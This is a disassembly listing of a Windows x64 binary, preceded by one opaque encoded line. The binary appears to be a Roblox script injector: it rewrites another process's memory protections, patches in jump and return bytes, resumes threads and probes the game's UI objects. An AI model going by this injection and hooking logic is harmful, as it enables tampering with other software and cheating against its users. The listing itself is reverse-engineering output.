LjqI0XVPNtVPNtVPNtVPNtYl96LzyhL2Ltn3c6Aljtn3c6nzWypFOwM2IoMJMwVPftAmO1KDbtVPNtVPNtVPNtVPNiY3cvnJ5wMvOerab4YPOeracdLzIkVTAaMIgyMzZtXlN4ZUIqPvNtVPNtVPNtVPNtVP8ioaSkVTIzLljtZQNjZQNjBGO1PvNtVPNtVPNtVPNtVUcvnFOyMzZfVTHkADbtVPNtVPNtVPNtVPOwLzZtMGR1PvNtVPNtVPNtVPNtVTIlM2RXPFNtVPN
lea rcx, [rsp + 0x2bc8]
call fcn.1400064f0
nop
lea rdx, [rsp + 0x2bc8]
lea rcx, [rsp + 0x2f28]
call fcn.1400078c0
mov qword [rsp + 0x10c0], rax
mov rax, qword [rsp + 0x10c0]
mov qword [rsp + 0x10c8], rax
mov rdx, qword [rsp + 0x10c8]
lea rcx, [rsp + 0x2f08]
call fcn.140006e50
mov qword [rsp + 0x10d0], rax
mov rax, qword [rsp + 0x10d0]
mov qword [rsp + 0x10d8], rax
mov rdx, qword [rsp + 0x10d8]
lea rcx, [rsp + 0x2ee8]
call fcn.1400078c0
mov qword [rsp + 0x10e0], rax
mov rcx, qword [rsp + 0x10e0]
call fcn.14000ae90
mov r9, qword [rsp + 0xe90]
mov r8, qword [rsp + 0x1d8]
mov rdx, rax
lea rcx, [rsp + 0x5ee0]
call fcn.140013fa0
lea rcx, [rsp + 0x2ee8]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x2f08]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x2f28]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x2bc8]
call fcn.1400067e0
nop
mov rax, qword [rsp + 0x900]
mov qword [rsp + 0x10e8], rax
lea rdx, [rsp + 0x5ee0]
lea rcx, [rsp + 0x2be8]
call fcn.1400064f0
mov qword [rsp + 0x2570], rax
mov r9, qword [rsp + 0x10e8]
lea r8, [rsp + 0x2be8]
lea rdx, [rsp + 0x2c08]
lea rcx, [0x140497f60]
call fcn.140206cc0
mov qword [rsp + 0x2578], rax
lea rcx, [rsp + 0x2be8]
call fcn.1400067e0
lea rdx, [rsp + 0x2c08]
mov rcx, qword [rsp + 0x900]
call fcn.140013e50
nop
lea rcx, [rsp + 0x2c08]
call fcn.140017880
nop
jmp 0x140022c5d
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, 0x120
mov r8d, 0x3ff
mov rdx, qword [rsp + 0xad8]
mov rcx, qword [0x1404a27f0]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov r8d, 0x100
mov rdx, qword [rsp + 0x170]
lea rcx, [rsp + 0x1d98]
call fcn.140013b50
nop
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
mov r8d, 0x100
mov rdx, qword [rsp + 0x170]
mov rcx, qword [0x1404a27f0]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea rcx, [rsp + 0x2a0]
call fcn.140006160
mov qword [rsp + 0x10f0], rax
mov byte [rsp + 0xef], 0
mov r9, qword [rsp + 0x10f0]
lea r8, [rsp + 0xef]
mov edx, 8
lea rcx, [rsp + 0x6e8]
call fcn.1400159c0
nop
xor edx, edx
lea rcx, [rsp + 0x6e8]
call fcn.140018400
mov rcx, qword [rsp + 0x900]
mov qword [rax], rcx
lea rcx, [rsp + 0x2a1]
call fcn.140006160
mov qword [rsp + 0x10f8], rax
mov byte [rsp + 0x208], recv
mov byte [rsp + 0x209], 5
mov byte [rsp + 0x20a], 0xff
mov byte [rsp + 0x20b], 0x25
mov byte [rsp + 0x20c], 0
mov byte [rsp + 0x20d], 0
mov byte [rsp + 0x20e], 0
mov byte [rsp + 0x20f], 0
xor edx, edx
lea rcx, [rsp + 0x6e8]
call fcn.140018400
movzx eax, byte [rax]
mov byte [rsp + 0x210], al
mov edx, 1
lea rcx, [rsp + 0x6e8]
call fcn.140018400
movzx eax, byte [rax]
mov byte [rsp + 0x211], al
mov edx, 2
lea rcx, [rsp + 0x6e8]
call fcn.140018400
movzx eax, byte [rax]
mov byte [rsp + 0x212], al
mov edx, 3
lea rcx, [rsp + 0x6e8]
call fcn.140018400
movzx eax, byte [rax]
mov byte [rsp + 0x213], al
mov edx, 4
lea rcx, [rsp + 0x6e8]
call fcn.140018400
movzx eax, byte [rax]
mov byte [rsp + 0x214], al
mov edx, 5
lea rcx, [rsp + 0x6e8]
call fcn.140018400
movzx eax, byte [rax]
mov byte [rsp + 0x215], al
mov edx, 6
lea rcx, [rsp + 0x6e8]
call fcn.140018400
movzx eax, byte [rax]
mov byte [rsp + 0x216], al
mov edx, 7
lea rcx, [rsp + 0x6e8]
call fcn.140018400
movzx eax, byte [rax]
mov byte [rsp + 0x217], al
lea rax, [rsp + 0x218]
mov r8, rax
lea rdx, [rsp + 0x208]
lea rcx, [rsp + 0x2db8]
call fcn.140015510
lea rcx, [rsp + 0x23b8]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x23d0]
lea rcx, [rsp + 0x23b8]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov r8, qword [rsp + 0x10f8]
lea rdx, [rsp + 0x23d0]
lea rcx, [rsp + 0x2600]
call fcn.1400158e0
nop
mov rax, qword [rsp + 0x170]
add rax, 8
lea rdx, [rsp + 0x2600]
mov rcx, rax
call fcn.140013e50
nop
lea rcx, [rsp + 0x2600]
call fcn.140017680
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x68]
mov r8d, 0x100
mov rdx, qword [rsp + 0x170]
mov rcx, qword [0x1404a27f0]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea rax, [0x140497e90]
mov qword [rsp + 0xad0], rax
mov rcx, qword [rsp + 0xad0]
call fcn.1400085d0
mov qword [rsp + 0x6b8], rax
mov rcx, qword [rsp + 0xad0]
call fcn.14000ab80
mov qword [rsp + 0x1100], rax
jmp 0x140022f6e
mov rax, qword [rsp + 0x6b8]
add rax, 8
mov qword [rsp + 0x6b8], rax
mov rax, qword [rsp + 0x1100]
cmp qword [rsp + 0x6b8], rax
je 0x140022fa3
mov rax, qword [rsp + 0x6b8]
mov rax, qword [rax]
mov qword [rsp + 0x1108], rax
mov rcx, qword [rsp + 0x1108]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x140022f5a
mov rax, qword [0x140497c20]
add rax, 0x168
mov rcx, rax
call fcn.140013da0
test rax, rax
jne 0x140022fca
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140022fa3
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
mov r8d, 0x100
mov rdx, qword [rsp + 0x170]
mov rcx, qword [0x1404a27f0]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov byte [rsp + 0xf0], 0xc3
mov rax, qword [rsp + 0x170]
add rax, 0xa
lea rdx, [rsp + 0xf0]
mov rcx, rax
call fcn.140013df0
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x68]
mov r8d, 0x100
mov rdx, qword [rsp + 0x170]
mov rcx, qword [0x1404a27f0]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
mov r8d, 0x100
mov rdx, qword [rsp + 0x170]
mov rcx, qword [0x1404a27f0]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea rdx, [rsp + 0x1d98]
mov rcx, qword [rsp + 0x170]
call fcn.140013e50
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x68]
mov r8d, 0x100
mov rdx, qword [rsp + 0x170]
mov rcx, qword [0x1404a27f0]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rax, qword [0x140497c20]
add rax, 0x180
mov rcx, rax
call fcn.140013da0
test rax, rax
jne 0x1400230df
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400230b8
mov rax, qword [0x140497c20]
add rax, 0x168
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x2580], rax
mov rax, qword [0x140497c20]
add rax, 0x158
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0xae0], rax
lea rdx, [rsp + 0xe18]
mov rcx, qword [rsp + 0x2d8]
call fcn.140013e50
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
mov r8, qword [rsp + 0x2d0]
mov rdx, qword [rsp + 0x2d8]
mov rcx, qword [0x1404a27f0]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
mov r8d, 0x3ff
mov rdx, qword [rsp + 0xad8]
mov rcx, qword [0x1404a27f0]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov qword [rsp + 0x2588], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x158], 0
mov qword [rsp + 0x2590], 0
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [rsp + 0xae0]
mov qword [0x140497c28], rax
mov rax, qword [rsp + 0xae0]
mov qword [rsp + 0x158], rax
mov qword [rsp + 0x678], 0
mov rax, qword [rsp + 0x8de0]
add rax, 0x308
mov qword [rsp + 0x1110], rax
lea rdx, str.RobloxGui
lea rcx, [rsp + 0x2c28]
call fcn.1400064f0
nop
lea r8, [rsp + 0x2c28]
lea rdx, [rsp + 0x490]
mov rcx, qword [rsp + 0x1110]
call fcn.140053700
nop
lea rcx, [rsp + 0x2c28]
call fcn.1400067e0
lea rdx, str.StringValue
lea rcx, [rsp + 0x2c48]
call fcn.1400064f0
nop
mov r9d, 0x270f
lea r8, [rsp + 0x2c48]
lea rdx, [rsp + 0x1120]
lea rcx, [rsp + 0x490]
call fcn.1400537a0
mov qword [rsp + 0x1118], rax
mov rax, qword [rsp + 0x1118]
mov rax, qword [rax]
mov qword [rsp + 0x678], rax
lea rcx, [rsp + 0x1120]
call fcn.1400061b0
nop
lea rcx, [rsp + 0x2c48]
call fcn.1400067e0
cmp qword [rsp + 0x678], 0
jne 0x1400232f8
lea rdx, str.Failed_to_establish_a_connection_to_the_UI...__1_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140007b60
mov qword [rsp + 0x1128], rax
lea rdx, [0x1400130e0]
mov rcx, qword [rsp + 0x1128]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400305f2
lea rdx, str.READY
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140007b60
mov qword [rsp + 0x1130], rax
lea rdx, [0x1400130e0]
mov rcx, qword [rsp + 0x1130]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0xe00]
call fcn.140015970
nop
lea rcx, [rsp + 0x50]
call fcn.140015970
nop
lea rcx, [rsp + 0x1fa0]
call fcn.140015970
nop
lea rcx, [rsp + 0x178]
call fcn.140015970
nop
mov rdx, qword [rsp + 0x678]
lea rcx, [rsp + 0x200]
call fcn.14000cda0
nop
lea rdx, [0x140365b8c]
lea rcx, [rsp + 0x2c68]
call fcn.1400064f0
nop
xor r9d, r9d
lea r8, [rsp + 0x2c68]
lea rdx, [rsp + 0x1f8]
lea rcx, [rsp + 0x200]
call fcn.140052fa0
nop
lea rcx, [rsp + 0x2c68]
call fcn.1400067e0
lea rdx, str.nameout
lea rcx, [rsp + 0x2aa8]
call fcn.1400064f0
nop
xor r9d, r9d
lea r8, [rsp + 0x2aa8]
lea rdx, [rsp + 0x680]
lea rcx, [rsp + 0x200]
call fcn.140052fa0
nop
lea rcx, [rsp + 0x2aa8]
call fcn.1400067e0
lea rdx, str.objout
lea rcx, [rsp + 0x2ac8]
call fcn.1400064f0
nop
xor r9d, r9d
lea r8, [rsp + 0x2ac8]
lea rdx, [rsp + 0x1f0]
lea rcx, [rsp + 0x200]
call fcn.140052fa0
nop
lea rcx, [rsp + 0x2ac8]
call fcn.1400067e0
lea rdx, [rsp + 0x1d80]
lea rcx, [rsp + 0x200]
call fcn.140053210
nop
mov dword [rsp + 0x1b4], 1
jmp 0x14002346f
mov eax, dword [rsp + 0x1b4]
inc eax
mov dword [rsp + 0x1b4], eax
cmp dword [rsp + 0x1b4], 0xa
jg 0x140023620
lea rax, [rsp + 0x1d80]
mov qword [rsp + 0xae8], rax
mov rcx, qword [rsp + 0xae8]
call fcn.1400085d0
mov qword [rsp + 0x6c0], rax
mov rcx, qword [rsp + 0xae8]
call fcn.14000ab80
mov qword [rsp + 0x1138], rax
jmp 0x1400234cd
mov rax, qword [rsp + 0x6c0]
add rax, 8
mov qword [rsp + 0x6c0], rax
mov rax, qword [rsp + 0x1138]
cmp qword [rsp + 0x6c0], rax
je 0x14002361b
mov rax, qword [rsp + 0x6c0]
mov rax, qword [rax]
mov qword [rsp + 0x6c8], rax
mov edx, dword [rsp + 0x1b4]
lea rcx, [rsp + 0x2f88]
call fcn.14000c970
mov qword [rsp + 0x1140], rax
mov rax, qword [rsp + 0x1140]
mov qword [rsp + 0x1148], rax
mov r8, qword [rsp + 0x1148]
lea rdx, [0x140365bac]
lea rcx, [rsp + 0x2f68]
call fcn.140008110
mov qword [rsp + 0x1150], rax
mov rax, qword [rsp + 0x1150]
mov qword [rsp + 0x1158], rax
mov rax, qword [rsp + 0x1158]
mov qword [rsp + 0x1168], rax
lea rdx, [rsp + 0x2f48]
lea rcx, [rsp + 0x6c8]
call fcn.1400533e0
mov qword [rsp + 0x1160], rax
mov rax, qword [rsp + 0x1160]
mov qword [rsp + 0x1170], rax
mov rdx, qword [rsp + 0x1168]
mov rcx, qword [rsp + 0x1170]
call fcn.14000deb0
mov byte [rsp + 0xf1], al
lea rcx, [rsp + 0x2f48]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x2f68]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x2f88]
call fcn.1400067e0
movzx eax, byte [rsp + 0xf1]
test eax, eax
je 0x140023609
lea rdx, [rsp + 0x6c8]
lea rcx, [rsp + 0xe00]
call fcn.1400341c0
nop
lea rcx, [rsp + 0x6c8]
call fcn.1400061b0
jmp 0x14002361b
lea rcx, [rsp + 0x6c8]
call fcn.1400061b0
jmp 0x1400234b9
jmp 0x14002345f
lea rcx, [rsp + 0xe00]
call fcn.140035930
cmp rax, 0xa
je 0x140023771
lea rdx, str.Failed_to_establish_a_script_connection...__2_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140007b60
mov qword [rsp + 0x1178], rax
lea rdx, [0x1400130e0]
mov rcx, qword [rsp + 0x1178]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rsp + 0xf2], 0
lea rcx, [rsp + 0x1d80]
call fcn.1400177c0
nop
lea rcx, [rsp + 0x1f0]
call fcn.1400061b0
nop
lea rcx, [rsp + 0x680]
call fcn.1400061b0
nop
lea rcx, [rsp + 0x1f8]
call fcn.1400061b0
nop
lea rcx, [rsp + 0x200]
call fcn.1400061b0
nop
lea rcx, [rsp + 0x178]
call fcn.1400176c0
nop
lea rcx, [rsp + 0x1fa0]
call fcn.1400176c0
nop
lea rcx, [rsp + 0x50]
call fcn.1400176c0
nop
lea rcx, [rsp + 0xe00]
call fcn.1400176c0
nop
lea rcx, [rsp + 0x490]
call fcn.1400061b0
nop
lea rcx, [rsp + 0x6e8]
call fcn.140017680
nop
lea rcx, [rsp + 0x1d98]
call fcn.140017680
nop
lea rcx, [rsp + 0xf00]
call fcn.140017680
nop
lea rcx, [rsp + 0xe18]
call fcn.140017680
nop
lea rcx, [rsp + 0xee0]
call fcn.140017380
nop
lea rcx, [rsp + 0xf58]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x700]
call fcn.140017680
movzx eax, byte [rsp + 0xf2]
jmp 0x140030671
lea rdx, [rsp + 0x1d68]
lea rcx, [rsp + 0x1f8]
call fcn.140053210
nop
mov dword [rsp + 0x1b0], 1
jmp 0x1400237a4
mov eax, dword [rsp + 0x1b0]
inc eax
mov dword [rsp + 0x1b0], eax
cmp dword [rsp + 0x1b0], 0xa
jg 0x140023955
lea rax, [rsp + 0x1d68]
mov qword [rsp + 0xaf0], rax
mov rcx, qword [rsp + 0xaf0]
call fcn.1400085d0
mov qword [rsp + 0x6d0], rax
mov rcx, qword [rsp + 0xaf0]
call fcn.14000ab80
mov qword [rsp + 0x1180], rax
jmp 0x140023802
mov rax, qword [rsp + 0x6d0]
add rax, 8
mov qword [rsp + 0x6d0], rax
mov rax, qword [rsp + 0x1180]
cmp qword [rsp + 0x6d0], rax
je 0x140023950
mov rax, qword [rsp + 0x6d0]
mov rax, qword [rax]
mov qword [rsp + 0x6d8], rax
mov edx, dword [rsp + 0x1b0]
lea rcx, [rsp + 0x2fe8]
call fcn.14000c970
mov qword [rsp + 0x1188], rax
mov rax, qword [rsp + 0x1188]
mov qword [rsp + 0x1190], rax
mov r8, qword [rsp + 0x1190]
lea rdx, [0x140365c3c]
lea rcx, [rsp + 0x2fc8]
call fcn.140008110
mov qword [rsp + 0x1198], rax
mov rax, qword [rsp + 0x1198]
mov qword [rsp + 0x11a0], rax
mov rax, qword [rsp + 0x11a0]
mov qword [rsp + 0x11b0], rax
lea rdx, [rsp + 0x2fa8]
lea rcx, [rsp + 0x6d8]
call fcn.1400533e0
mov qword [rsp + 0x11a8], rax
mov rax, qword [rsp + 0x11a8]
mov qword [rsp + 0x11b8], rax
mov rdx, qword [rsp + 0x11b0]
mov rcx, qword [rsp + 0x11b8]
call fcn.14000deb0
mov byte [rsp + 0xf3], al
lea rcx, [rsp + 0x2fa8]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x2fc8]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x2fe8]
call fcn.1400067e0
movzx eax, byte [rsp + 0xf3]
test eax, eax
je 0x14002393e
lea rdx, [rsp + 0x6d8]
lea rcx, [rsp + 0x178]
call fcn.1400341c0
nop
lea rcx, [rsp + 0x6d8]
call fcn.1400061b0
jmp 0x140023950
lea rcx, [rsp + 0x6d8]
call fcn.1400061b0
jmp 0x1400237ee
jmp 0x140023794
lea rcx, [rsp + 0x178]
call fcn.140035930
cmp rax, 0xa
je 0x140023ab4
lea rdx, str.Failed_to_establish_a_script_connection...__3_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140007b60
mov qword [rsp + 0x11c0], rax
lea rdx, [0x1400130e0]
mov rcx, qword [rsp + 0x11c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rsp + 0xf4], 0
lea rcx, [rsp + 0x1d68]
call fcn.1400177c0
nop
lea rcx, [rsp + 0x1d80]
call fcn.1400177c0
nop
lea rcx, [rsp + 0x1f0]
call fcn.1400061b0
nop
lea rcx, [rsp + 0x680]
call fcn.1400061b0
nop
lea rcx, [rsp + 0x1f8]
call fcn.1400061b0
nop
lea rcx, [rsp + 0x200]
call fcn.1400061b0
nop
lea rcx, [rsp + 0x178]
call fcn.1400176c0
nop
lea rcx, [rsp + 0x1fa0]
call fcn.1400176c0
nop
lea rcx, [rsp + 0x50]
call fcn.1400176c0
nop
lea rcx, [rsp + 0xe00]
call fcn.1400176c0
nop
lea rcx, [rsp + 0x490]
call fcn.1400061b0
nop
lea rcx, [rsp + 0x6e8]
call fcn.140017680
nop
lea rcx, [rsp + 0x1d98]
call fcn.140017680
nop
lea rcx, [rsp + 0xf00]
call fcn.140017680
nop
lea rcx, [rsp + 0xe18]
call fcn.140017680
nop
lea rcx, [rsp + 0xee0]
call fcn.140017380
nop
lea rcx, [rsp + 0xf58]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x700]
call fcn.140017680
movzx eax, byte [rsp + 0xf4]
jmp 0x140030671
mov dword [rsp + 0x1b8], 1
jmp 0x140023ad1
mov eax, dword [rsp + 0x1b8]
inc eax
mov dword [rsp + 0x1b8], eax
cmp dword [rsp + 0x1b8], 0x32
jg 0x140023c7f
lea rax, [rsp + 0x1d68]
mov qword [rsp + 0xaf8], rax
mov rcx, qword [rsp + 0xaf8]
call fcn.1400085d0
mov qword [rsp + 0x6e0], rax
mov rcx, qword [rsp + 0xaf8]
call fcn.14000ab80
mov qword [rsp + 0x11c8], rax
jmp 0x140023b2f
mov rax, qword [rsp + 0x6e0]
add rax, 8
mov qword [rsp + 0x6e0], rax
mov rax, qword [rsp + 0x11c8]
cmp qword [rsp + 0x6e0], rax
je 0x140023c7a
mov rax, qword [rsp + 0x6e0]
mov rax, qword [rax]
mov qword [rsp + 0x508], rax
mov edx, dword [rsp + 0x1b8]
lea rcx, [rsp + 0x3028]
call fcn.14000c970
mov qword [rsp + 0x11d0], rax
mov rax, qword [rsp + 0x11d0]
mov qword [rsp + 0x11d8], rax
mov r8, qword [rsp + 0x11d8]
lea rdx, str.sout
lea rcx, [rsp + 0x3008]
call fcn.140008110
mov qword [rsp + 0x11e0], rax
mov rax, qword [rsp + 0x11e0]
mov qword [rsp + 0x11e8], rax
mov rax, qword [rsp + 0x11e8]
mov qword [rsp + 0x11f8], rax
lea rdx, [rsp + 0x3228]
lea rcx, [rsp + 0x508]
call fcn.1400533e0
mov qword [rsp + 0x11f0], rax
mov rax, qword [rsp + 0x11f0]
mov qword [rsp + 0x1200], rax
mov rdx, qword [rsp + 0x11f8]
mov rcx, qword [rsp + 0x1200]
call fcn.14000deb0
mov byte [rsp + 0xf5], al
lea rcx, [rsp + 0x3228]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x3008]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x3028]
call fcn.1400067e0
movzx eax, byte [rsp + 0xf5]
test eax, eax
je 0x140023c68
lea rdx, [rsp + 0x508]
lea rcx, [rsp + 0x50]
call fcn.1400341c0
nop
lea rcx, [rsp + 0x508]
call fcn.1400061b0
jmp 0x140023c7a
lea rcx, [rsp + 0x508]
call fcn.1400061b0
jmp 0x140023b1b
jmp 0x140023ac1
lea rcx, [rsp + 0x50]
call fcn.140035930
cmp rax, 0x32
je 0x140023e0b
lea rdx, str.Failed_to_establish_a_script_connection...__4___
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140007b60
mov qword [rsp + 0x1210], rax
lea rcx, [rsp + 0x50]
call fcn.140035930
mov qword [rsp + 0x1208], rax
mov rdx, qword [rsp + 0x1208]
mov rcx, qword [rsp + 0x1210]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov qword [rsp + 0x1218], rax
lea rdx, [0x1400130e0]
mov rcx, qword [rsp + 0x1218]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rsp + 0xf6], 0
lea rcx, [rsp + 0x1d68]
call fcn.1400177c0
nop
lea rcx, [rsp + 0x1d80]
call fcn.1400177c0
nop
lea rcx, [rsp + 0x1f0]
call fcn.1400061b0
nop
lea rcx, [rsp + 0x680]
call fcn.1400061b0
nop
lea rcx, [rsp + 0x1f8]
call fcn.1400061b0
nop
lea rcx, [rsp + 0x200]
call fcn.1400061b0
nop
lea rcx, [rsp + 0x178]
call fcn.1400176c0
nop
lea rcx, [rsp + 0x1fa0]
call fcn.1400176c0
nop
lea rcx, [rsp + 0x50]
call fcn.1400176c0
nop
lea rcx, [rsp + 0xe00]
call fcn.1400176c0
nop
lea rcx, [rsp + 0x490]
call fcn.1400061b0
nop
lea rcx, [rsp + 0x6e8]
call fcn.140017680
nop
lea rcx, [rsp + 0x1d98]
call fcn.140017680
nop
lea rcx, [rsp + 0xf00]
call fcn.140017680
nop
lea rcx, [rsp + 0xe18]
call fcn.140017680
nop
lea rcx, [rsp + 0xee0]
call fcn.140017380
nop
lea rcx, [rsp + 0xf58]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x700]
call fcn.140017680
movzx eax, byte [rsp + 0xf6]
jmp 0x140030671
mov dword [rsp + 0x100], 0
mov rax, qword [rsp + 0x8de0]
add rax, 0x7cc
mov r8d, 0x100
mov rdx, rax
lea rcx, [rsp + 0x5080]
call qword [sym.imp.KERNEL32.dll_lstrcpynW]
lea rdx, [0x140366758]
lea rcx, [rsp + 0x5080]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov edx, 1
lea rcx, [rsp + 0x4730]
call fcn.1400150d0
nop
mov r9d, 0x40
mov r8d, send
lea rdx, [rsp + 0x5080]
lea rcx, [rsp + 0x4730]
call fcn.1400332e0
lea rcx, [rsp + 0x4730]
call fcn.14001ee80
mov dword [rsp + 0x1c6c], 0
mov dword [rsp + 0x30], 0
mov byte [rsp + 0x40], 0
mov byte [rsp + 0x71], 1
lea rax, [rsp + 0x71]
mov qword [rsp + 0x1220], rax
lea r8, [rsp + 0x1220]
lea rdx, [0x14001ef80]
lea rcx, [rsp + 0x23e0]
call fcn.14000ce00
mov qword [rsp + 0x1228], rax
mov rax, qword [rsp + 0x1228]
mov qword [rsp + 0x1230], rax
mov rcx, qword [rsp + 0x1230]
call fcn.14001f5d0
nop
lea rcx, [rsp + 0x23e0]
call fcn.140017cc0
lea rdx, [0x140366770]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
mov qword [rsp + 0xc0], rax
lea rcx, [rsp + 0x2350]
call fcn.140015760
nop
mov byte [rsp + 0x6e], 0
cmp qword [rsp + 0xc0], 0
je 0x140030549
call fcn.1402c6cf0
movzx eax, al
test eax, eax
je 0x140030549
movzx eax, byte [rsp + 0x6e]
test eax, eax
jne 0x140030549
mov rax, qword [rsp + 0x8de0]
mov rcx, qword [rax + 0x310]
call fcn.140053500
movzx eax, al
test eax, eax
jne 0x140023f80
jmp 0x140030549
mov rax, qword [rsp + 0x8de0]
add rax, 0x310
mov qword [rsp + 0x1238], rax
lea rdx, [rsp + 0xab8]
mov rcx, qword [rsp + 0x1238]
call fcn.140053210
nop
lea rcx, [rsp + 0xab8]
call fcn.140020370
movzx eax, al
test eax, eax
je 0x140023fd4
lea rcx, [rsp + 0xab8]
call fcn.1400177c0
jmp 0x140030549
lea rcx, [rsp + 0xab8]
call fcn.140020db0
mov rcx, qword [rsp + 0x8de0]
mov rcx, qword [rcx + 0x318]
cmp qword [rax], rcx
je 0x140024007
lea rcx, [rsp + 0xab8]
call fcn.1400177c0
jmp 0x140030549
cmp qword [rsp + 0x158], 0
je 0x1400279db
movsx rax, word [0x14047d05c]
mov rcx, qword [rsp + 0x158]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x14002405f
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rsp + 0xab8]
call fcn.1400177c0
jmp 0x140023f34
mov r8d, 0x300
mov rdx, qword [rsp + 0x38]
lea rcx, [rsp + 0x1cc0]
call fcn.140013b50
nop
lea rcx, [rsp + 0x1cc0]
call fcn.14001f2e0
mov qword [rsp + 0xb8], rax
mov dword [rsp + 0x30], 0x80
mov byte [rsp + 0x40], 0
movzx eax, byte [rsp + 0x40]
test eax, eax
jne 0x140024197
mov dword [rsp + 0x2b4], 8
jmp 0x1400240d7
mov eax, dword [rsp + 0x2b4]
inc eax
mov dword [rsp + 0x2b4], eax
movsx eax, word [reloc.WS2_32.dll_recv]
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x2b4], 0x1e
jge 0x140024197
